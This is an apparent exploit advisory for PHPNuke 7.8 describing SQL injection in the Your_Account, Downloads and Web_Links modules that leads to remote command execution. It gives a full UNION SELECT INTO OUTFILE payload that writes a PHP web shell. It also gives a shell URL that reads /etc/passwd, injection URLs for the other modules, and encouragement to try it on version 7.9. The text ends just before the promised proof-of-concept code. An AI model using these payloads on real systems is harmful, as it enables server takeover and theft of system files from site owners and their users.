Description

                                        
                                            `PHPNuke 7.8 with all security fixes/patches "Downloads", "Web_Links" & "Your_Account"  
SQL INjection -> remote commands execution poc exploit  
  
  
there are a lot of unsanitized vars in every module, as I can see, so  
if magic_quotes_gpc is Off -> SQL INJECTION  
  
1) you can go to "Your Account" and submit a username like this:  
  
' UNION SELECT '<?error_reporting(0);?>',0,0,0,0,0,0,0,'<?echo "Hi Master";ini_set("max_execution_time",0);system($_GET[cmd]);die;?>',0 INTO OUTFILE '../../WWW/PHPNUKE/shell.php' FROM nuke_users/*  
  
login field is too small to do it manually but you can see my poc below  
  
to create a shell.php file in a writable directory  
  
then launch commands:  
  
http://[target]/[path_to_shell]/shell.php?cmd=cat%20/etc/passwd  
  
2) the same in "Downloads" module:  
  
http://[target]/[path]/modules.php?name=Downloads&d_op=Add&url=[SQL]&title=what&description=what  
  
3) ... and in "Web_links" module:  
  
http://[target]/[path]/modules.php?name=Web_Links&l_op=Add&title=what&description=[SQL]&url=what  
  
  
I have not seen 7.9 version but it can be also vulnerable, try it on it,  
this is my poc exploit:
